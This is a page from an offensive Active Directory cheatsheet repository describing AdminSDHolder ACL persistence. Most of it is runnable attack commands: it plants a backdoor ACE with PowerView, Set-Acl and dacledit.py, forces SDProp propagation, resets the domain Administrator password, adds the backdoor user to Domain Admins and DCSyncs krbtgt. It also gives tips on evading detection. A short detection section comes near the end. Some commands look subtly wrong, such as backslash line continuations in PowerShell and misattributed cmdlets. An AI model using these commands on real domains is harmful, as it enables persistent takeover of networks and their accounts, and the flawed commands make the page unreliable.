daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

attack-26-adminsdholder-persistence-via-acl.md (8430B)


      1 ---
      2 title: "Attack #26 β€” AdminSDHolder Persistence via ACL"
      3 description: "AdminSDHolder is a built-in Active Directory persistence mechanism that attackers can abuse for permanent, self-healing backdoor access. The…"
      4 category: active-directory
      5 subcategory: "ACL Abuse"
      6 tags: ["active-directory", "adcs", "credential-access", "persistence"]
      7 tools: ["Impacket", "Mimikatz", "PowerShell"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟑 Attack #26 β€” AdminSDHolder Persistence via ACL.md"
     11 ---
     12 # 🟑 Attack #26 β€” AdminSDHolder Persistence via ACL
     13 
     14 ***
     15 
     16 ## πŸ“– How It Works
     17 
     18 AdminSDHolder is a **built-in Active Directory persistence mechanism** that attackers can abuse for permanent, self-healing backdoor access. The `CN=AdminSDHolder,CN=System` container holds a **template security descriptor** that is automatically applied to all "protected" AD objects β€” including Domain Admins, Enterprise Admins, Account Operators, Server Operators, and their members β€” by the **Security Descriptor Propagator (SDProp)** process, which runs **every 60 minutes** by default.
     19 
     20 If an attacker modifies the AdminSDHolder object's ACL to include a backdoor ACE (e.g., granting their user GenericAll or DCSync rights), that ACE will be **automatically propagated to every protected object in the domain** within 60 minutes. Even if a defender removes the backdoor ACE from individual protected objects, SDProp will **re-apply it from AdminSDHolder** on the next cycle β€” making it a self-healing persistence mechanism.
     21 
     22 ### Protected Groups (Subject to SDProp)
     23 
     24 ```
     25 - Domain Admins          - Enterprise Admins
     26 - Schema Admins          - Administrators
     27 - Account Operators      - Server Operators
     28 - Print Operators        - Backup Operators
     29 - Domain Controllers     - Read-only Domain Controllers
     30 - Cert Publishers        - Replicator
     31 ```
     32 
     33 ### The Full Attack Flow
     34 
     35 ```
     36 1. Achieve Domain Admin (or WriteDACL on AdminSDHolder)
     37 2. Modify AdminSDHolder ACL β€” add your user with GenericAll/DCSync rights
     38 3. Wait 60 minutes (or trigger SDProp manually)
     39 4. SDProp propagates your backdoor ACE to ALL protected objects
     40 5. Even if blue team removes your ACE from target objects,
     41    SDProp re-applies it from AdminSDHolder on next cycle
     42 6. Persist indefinitely until AdminSDHolder ACL is cleaned
     43 ```
     44 
     45 ***
     46 
     47 ## βš™οΈ Prerequisites
     48 
     49 | Requirement | Detail |
     50 |---|---|
     51 | **WriteDACL on AdminSDHolder** | Requires DA or specific ACL access to AdminSDHolder |
     52 | **Domain Admin (typical)** | Most common way to reach AdminSDHolder |
     53 
     54 ***
     55 
     56 ## πŸ› οΈ Tools
     57 
     58 | Tool | Platform | Notes |
     59 |---|---|---|
     60 | **PowerView** | Windows | `Add-DomainObjectAcl` targeting AdminSDHolder |
     61 | **Impacket β€” dacledit.py** | Linux | Remote ACL modification |
     62 | **bloodyAD** | Linux | ACL manipulation |
     63 
     64 ***
     65 
     66 ## πŸ’» Full Commands
     67 
     68 ### πŸ”΄ Add Backdoor ACE to AdminSDHolder
     69 
     70 ```powershell
     71 # ── PowerView β€” add GenericAll for backdoor user ──────────────────────────────
     72 Import-Module .\PowerView.ps1
     73 Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
     74   -PrincipalIdentity backdoor_user -Rights All -Verbose
     75 
     76 # ── Or add DCSync rights ──────────────────────────────────────────────────────
     77 Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
     78   -PrincipalIdentity backdoor_user -Rights DCSync -Verbose
     79 
     80 # ── Or using Set-ACL directly ─────────────────────────────────────────────────
     81 $ASDHPath = "AD:CN=AdminSDHolder,CN=System,DC=corp,DC=local"
     82 $UserSID = (Get-ADUser backdoor_user).SID
     83 $ACL = Get-Acl $ASDHPath
     84 $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
     85   $UserSID, "GenericAll", "Allow"
     86 )
     87 $ACL.AddAccessRule($ACE)
     88 Set-Acl -Path $ASDHPath -AclObject $ACL
     89 ```
     90 
     91 ```bash
     92 # ── dacledit.py ───────────────────────────────────────────────────────────────
     93 dacledit.py -action write -rights FullControl \
     94   -principal backdoor_user \
     95   -target-dn "CN=AdminSDHolder,CN=System,DC=corp,DC=local" \
     96   corp.local/Administrator:'Password1' -dc-ip 10.10.10.10
     97 ```
     98 
     99 ### πŸ”΄ Force SDProp to Run Immediately (Don't Wait 60 Minutes)
    100 
    101 ```powershell
    102 # ── Method 1: Invoke SDProp via rootDSE modify ───────────────────────────────
    103 $rootDSE = [ADSI]"LDAP://RootDSE"
    104 $rootDSE.Put("FixUpInheritance", 1)
    105 $rootDSE.SetInfo()
    106 
    107 # ── Method 2: PowerShell AD Module ───────────────────────────────────────────
    108 Invoke-ADSDPropagation
    109 # Or:
    110 Start-ADSyncCycle -PolicyType Delta
    111 
    112 # ── Method 3: Protected Runspace ──────────────────────────────────────────────
    113 $ldap = New-Object System.DirectoryServices.Protocols.LdapConnection("DC01.corp.local")
    114 $mod = New-Object System.DirectoryServices.Protocols.ModifyRequest("", 
    115   [System.DirectoryServices.Protocols.DirectoryAttributeModification]@{
    116     Name = "RunProtectAdminGroupsTask"; Operation = "Replace"; Values = "1"
    117   }
    118 )
    119 $ldap.SendRequest($mod)
    120 ```
    121 
    122 ### πŸ”΄ Verify Propagation
    123 
    124 ```powershell
    125 # ── Check if your ACE was propagated to Domain Admins ─────────────────────────
    126 Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | 
    127   Where-Object { $_.IdentityReference -match "backdoor_user" }
    128 
    129 # ── Should show GenericAll or DCSync rights propagated from AdminSDHolder ─────
    130 ```
    131 
    132 ### πŸ”΄ Exploit the Propagated Rights
    133 
    134 ```powershell
    135 # ── After SDProp propagation, backdoor_user has GenericAll on ALL protected objects ─
    136 # Reset any DA password:
    137 Set-DomainUserPassword -Identity Administrator -AccountPassword (
    138   ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
    139 )
    140 
    141 # Add yourself to Domain Admins:
    142 Add-DomainGroupMember -Identity "Domain Admins" -Members backdoor_user
    143 
    144 # DCSync:
    145 mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
    146 ```
    147 
    148 ***
    149 
    150 ## 🎯 OPSEC Tips
    151 
    152 - **Self-healing** β€” even if defenders remove your ACE from individual DA/EA objects, SDProp re-applies it every 60 minutes
    153 - **Requires DA to set up** β€” this is a persistence technique, not an initial escalation
    154 - **AdminSDHolder modifications are RARE** in legitimate operations β€” any change should trigger immediate investigation
    155 - **Don't use obvious accounts** β€” create a service account or technical account as the backdoor principal
    156 - **SDProp also sets `adminCount=1`** on affected users β€” this is an IOC that defenders can query for
    157 
    158 ***
    159 
    160 ## πŸ›‘οΈ Detection β€” Event IDs
    161 
    162 | Event ID | Source | What to Look For |
    163 |---|---|---|
    164 | **4662** | Security Log (DC) | Object access on AdminSDHolder |
    165 | **5136** | Security Log (DC) | Directory modification β€” nTSecurityDescriptor change on AdminSDHolder |
    166 | **4780** | Security Log (DC) | SDProp applied ACL to a protected object |
    167 | **4670** | Security Log (DC) | Permissions changed on AdminSDHolder container |
    168 
    169 **Primary detection:** Baseline the AdminSDHolder SDDL and alert on **ANY change**. AdminSDHolder modifications are exceptionally rare in legitimate operations β€” any modification is a critical severity alert. Additionally, query for users with `adminCount=1` who shouldn't have it.
    170 
    171 ***
    172 
    173 ## πŸ”— Attack Chain Context
    174 
    175 ```
    176 [AdminSDHolder Persistence] ──→ Self-Healing Backdoor Access
    177          β”‚
    178          β”œβ”€β”€β†’ πŸ”„ SDProp re-applies your ACE every 60 minutes
    179          β”œβ”€β”€β†’ πŸ”’ Survives: ACE removal from individual objects, password changes
    180          β”œβ”€β”€β†’ 🎯 Affects: ALL protected groups (DA, EA, Schema, etc.)
    181          β”œβ”€β”€β†’ πŸ”— Prereqs: Domain Admin or WriteDACL on AdminSDHolder
    182          └──→ πŸ’€ Defeated by: baseline AdminSDHolder ACL, monitor 5136, alert on ANY change
    183 ```
    184 
    185 ***
    186 
    187 > βœ… **Attack #26 β€” AdminSDHolder Persistence complete.**
    188 
    189 ***
    190 
    191 > 🏁 **Category 3 β€” ACL / Permission Abuse is now COMPLETE (8/8 attacks).**